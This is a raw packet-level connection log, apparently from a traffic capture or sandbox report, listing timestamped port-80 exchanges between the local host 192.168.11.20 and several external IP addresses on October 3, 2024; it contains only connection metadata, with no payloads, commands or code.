Oct 3, 2024 18:12:38.956952095 CEST	49743	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:39.166574001 CEST	80	49743	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:39.166784048 CEST	49743	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:39.175297022 CEST	49743	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:39.425060034 CEST	80	49743	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:40.688939095 CEST	49743	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:40.938867092 CEST	80	49743	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:41.706351995 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:41.917722940 CEST	80	49744	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:41.917867899 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:41.925582886 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:41.925637960 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:41.925690889 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:42.136877060 CEST	80	49744	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:42.137092113 CEST	80	49744	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:42.137231112 CEST	80	49744	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:43.438410997 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:43.690372944 CEST	80	49744	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:44.456018925 CEST	49745	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:44.665935993 CEST	80	49745	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:44.666138887 CEST	49745	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:44.671204090 CEST	49745	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:44.883528948 CEST	80	49745	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:44.883738995 CEST	49745	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:44.885559082 CEST	49745	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:12:45.095268011 CEST	80	49745	85.159.66.93	192.168.11.20
Oct 3, 2024 18:12:50.063930988 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:50.163697958 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:50.163865089 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:50.171441078 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:50.271255970 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:50.276078939 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:50.276211023 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:51.686594009 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:51.786725044 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:52.703944921 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:52.804163933 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:52.804343939 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:52.812817097 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:52.912674904 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:52.914274931 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:52.914407015 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:54.326618910 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:54.426574945 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.344006062 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:55.443340063 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.443480968 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:55.451154947 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:55.451229095 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:55.550748110 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.550759077 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.550766945 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.550775051 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.550784111 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.550874949 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:55.550899982 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:56.456481934 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:56.456718922 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:56.966641903 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:57.065857887 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:57.984143972 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:58.083642960 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:58.083791018 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:58.088864088 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:58.188191891 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:58.191107035 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:58.191194057 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:58.191342115 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:58.193176985 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:58.197433949 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 3, 2024 18:12:58.197603941 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:12:58.292665958 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:03.330342054 CEST	49750	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:03.460175037 CEST	80	49750	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:03.460381985 CEST	49750	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:03.467953920 CEST	49750	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:03.598086119 CEST	80	49750	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:03.598320007 CEST	80	49750	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:03.599073887 CEST	80	49750	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:03.599194050 CEST	49750	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:04.980525017 CEST	49750	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:05.997855902 CEST	49751	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:06.131432056 CEST	80	49751	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:06.131639004 CEST	49751	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:06.139230013 CEST	49751	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:06.270287037 CEST	80	49751	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:06.271845102 CEST	80	49751	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:06.271857977 CEST	80	49751	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:06.271986008 CEST	49751	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:07.651794910 CEST	49751	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:08.669167042 CEST	49752	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:08.806128979 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.806313038 CEST	49752	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:08.814003944 CEST	49752	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:08.814073086 CEST	49752	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:08.944073915 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944084883 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944093943 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944128990 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944138050 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944304943 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944432974 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:08.944443941 CEST	80	49752	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:11.340542078 CEST	49753	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:11.471771002 CEST	80	49753	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:11.471915007 CEST	49753	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:11.477019072 CEST	49753	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:11.606937885 CEST	80	49753	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:11.607686996 CEST	80	49753	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:11.607889891 CEST	80	49753	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:11.608068943 CEST	49753	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:11.609822989 CEST	49753	80	192.168.11.20	104.223.44.195
Oct 3, 2024 18:13:11.740467072 CEST	80	49753	104.223.44.195	192.168.11.20
Oct 3, 2024 18:13:16.730312109 CEST	49754	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:17.727729082 CEST	49754	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:17.829380035 CEST	80	49754	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:17.829547882 CEST	49754	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:17.837109089 CEST	49754	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:17.938441038 CEST	80	49754	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:17.938648939 CEST	80	49754	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:17.938838959 CEST	49754	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:19.352349043 CEST	49754	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:19.453504086 CEST	80	49754	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:20.369777918 CEST	49755	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:20.468991041 CEST	80	49755	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:20.469152927 CEST	49755	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:20.476686954 CEST	49755	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:20.575953960 CEST	80	49755	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:21.490556002 CEST	80	49755	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:21.490688086 CEST	49755	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:21.992432117 CEST	49755	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:22.091597080 CEST	80	49755	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.009835005 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:23.109172106 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.109421015 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:23.117120981 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:23.117144108 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:23.117216110 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:23.216856956 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.216947079 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.217073917 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.217086077 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.217201948 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.217212915 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.217221022 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.219362020 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:23.219572067 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:24.632482052 CEST	49756	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:24.731642008 CEST	80	49756	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:25.650016069 CEST	49757	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:25.749449968 CEST	80	49757	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:25.749577045 CEST	49757	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:25.755179882 CEST	49757	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:25.854835987 CEST	80	49757	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:26.761329889 CEST	80	49757	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:26.761373043 CEST	80	49757	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:26.761626005 CEST	49757	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:26.763423920 CEST	49757	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:26.765429974 CEST	80	49757	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:26.765625000 CEST	49757	80	192.168.11.20	3.33.130.190
Oct 3, 2024 18:13:26.862673998 CEST	80	49757	3.33.130.190	192.168.11.20
Oct 3, 2024 18:13:32.236166954 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:32.615015030 CEST	80	49758	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:32.615225077 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:32.623548985 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:32.985017061 CEST	80	49758	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:34.130397081 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:35.083389044 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:35.147752047 CEST	49759	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:35.275593042 CEST	80	49758	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:35.275748968 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:35.436515093 CEST	80	49758	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:35.493887901 CEST	80	49759	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:35.494091034 CEST	49759	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:35.501624107 CEST	49759	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:35.864888906 CEST	80	49759	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:36.426868916 CEST	80	49758	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:36.427118063 CEST	49758	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:37.004762888 CEST	49759	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:37.374248028 CEST	80	49759	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:37.374470949 CEST	49759	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:38.022126913 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:38.394459009 CEST	80	49760	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:38.394681931 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:38.402424097 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:38.402476072 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:38.402524948 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:39.144876003 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:39.508776903 CEST	80	49760	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:39.910391092 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:40.927853107 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:41.003853083 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:41.050203085 CEST	80	49760	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:41.050338984 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:41.336077929 CEST	80	49760	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:41.941133022 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:42.295015097 CEST	80	49761	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:42.295214891 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:42.300376892 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:42.656410933 CEST	80	49761	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:44.460156918 CEST	80	49760	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:44.460388899 CEST	49760	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:52.915359020 CEST	80	49761	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:52.915395975 CEST	80	49761	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:52.915673018 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:54.266230106 CEST	80	49761	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:54.266371965 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:54.267024040 CEST	49761	80	192.168.11.20	103.149.183.47
Oct 3, 2024 18:13:54.642510891 CEST	80	49761	103.149.183.47	192.168.11.20
Oct 3, 2024 18:13:59.484165907 CEST	49762	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:13:59.578387976 CEST	80	49762	52.223.13.41	192.168.11.20
Oct 3, 2024 18:13:59.578619957 CEST	49762	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:13:59.593293905 CEST	49762	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:13:59.687537909 CEST	80	49762	52.223.13.41	192.168.11.20
Oct 3, 2024 18:13:59.695483923 CEST	80	49762	52.223.13.41	192.168.11.20
Oct 3, 2024 18:13:59.695682049 CEST	49762	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:01.108850002 CEST	49762	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:01.203114986 CEST	80	49762	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:02.126240969 CEST	49763	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:02.220932961 CEST	80	49763	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:02.221204996 CEST	49763	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:02.228802919 CEST	49763	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:02.323503971 CEST	80	49763	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:02.335793972 CEST	80	49763	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:02.336052895 CEST	49763	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:03.733257055 CEST	49763	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:03.827862978 CEST	80	49763	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.750636101 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:04.844759941 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.844930887 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:04.853615999 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:04.853636980 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:04.853682995 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:04.947977066 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.948376894 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.948406935 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.948415041 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.948424101 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.948432922 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.948455095 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.955353022 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:04.955547094 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:06.357937098 CEST	49764	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:06.452177048 CEST	80	49764	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:07.375085115 CEST	49765	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:07.469439030 CEST	80	49765	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:07.469674110 CEST	49765	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:07.474739075 CEST	49765	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:07.568996906 CEST	80	49765	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:07.577735901 CEST	80	49765	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:07.577749014 CEST	80	49765	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:07.578121901 CEST	49765	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:07.579885006 CEST	49765	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:07.582015991 CEST	80	49765	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:07.582529068 CEST	49765	80	192.168.11.20	52.223.13.41
Oct 3, 2024 18:14:07.674161911 CEST	80	49765	52.223.13.41	192.168.11.20
Oct 3, 2024 18:14:13.396075964 CEST	49766	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:13.611663103 CEST	80	49766	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:13.611793041 CEST	49766	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:13.619410038 CEST	49766	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:13.826119900 CEST	80	49766	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:13.836591005 CEST	80	49766	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:13.836694002 CEST	80	49766	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:13.836930990 CEST	49766	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:15.121433020 CEST	49766	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:16.138737917 CEST	49767	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:16.335943937 CEST	80	49767	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:16.336188078 CEST	49767	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:16.343739986 CEST	49767	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:16.540891886 CEST	80	49767	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:16.548512936 CEST	80	49767	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:16.548614979 CEST	80	49767	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:16.548773050 CEST	49767	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:17.855153084 CEST	49767	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:18.872723103 CEST	49768	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:19.072262049 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.072493076 CEST	49768	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:19.081104994 CEST	49768	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:19.081155062 CEST	49768	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:19.280807018 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.280821085 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.280829906 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.281028032 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.281259060 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.308762074 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.308772087 CEST	80	49768	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:19.308921099 CEST	49768	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:20.588934898 CEST	49768	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:21.606280088 CEST	49769	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:21.801990986 CEST	80	49769	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:21.802182913 CEST	49769	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:21.807512999 CEST	49769	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:22.003532887 CEST	80	49769	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:22.009506941 CEST	80	49769	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:22.009517908 CEST	80	49769	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:22.009799004 CEST	49769	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:22.011847973 CEST	49769	80	192.168.11.20	93.125.99.74
Oct 3, 2024 18:14:22.207268953 CEST	80	49769	93.125.99.74	192.168.11.20
Oct 3, 2024 18:14:35.695096970 CEST	49770	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:35.908123016 CEST	80	49770	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:35.908456087 CEST	49770	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:35.916553020 CEST	49770	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:36.129389048 CEST	80	49770	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:36.143192053 CEST	80	49770	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:36.143290997 CEST	80	49770	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:36.143580914 CEST	49770	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:37.429004908 CEST	49770	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:38.194482088 CEST	49742	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:14:38.446341991 CEST	49771	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:38.640741110 CEST	80	49771	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:38.640959024 CEST	49771	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:38.648752928 CEST	49771	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:38.843334913 CEST	80	49771	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:38.843453884 CEST	80	49771	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:38.843667984 CEST	80	49771	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:38.843797922 CEST	49771	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:40.162780046 CEST	49771	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:40.943825006 CEST	49743	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:14:41.180135965 CEST	49772	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:41.374542952 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:41.374721050 CEST	49772	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:41.382450104 CEST	49772	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:41.382467031 CEST	49772	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:41.382554054 CEST	49772	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:41.576704979 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:41.576988935 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:41.576998949 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:41.577009916 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:41.577019930 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:41.577028036 CEST	80	49772	65.21.196.90	192.168.11.20
Oct 3, 2024 18:14:43.693192005 CEST	49744	80	192.168.11.20	85.159.66.93
Oct 3, 2024 18:14:43.913928986 CEST	49773	80	192.168.11.20	65.21.196.90
Oct 3, 2024 18:14:44.104902029 CEST	80	49773	65.21.196.90	192.168.11.20
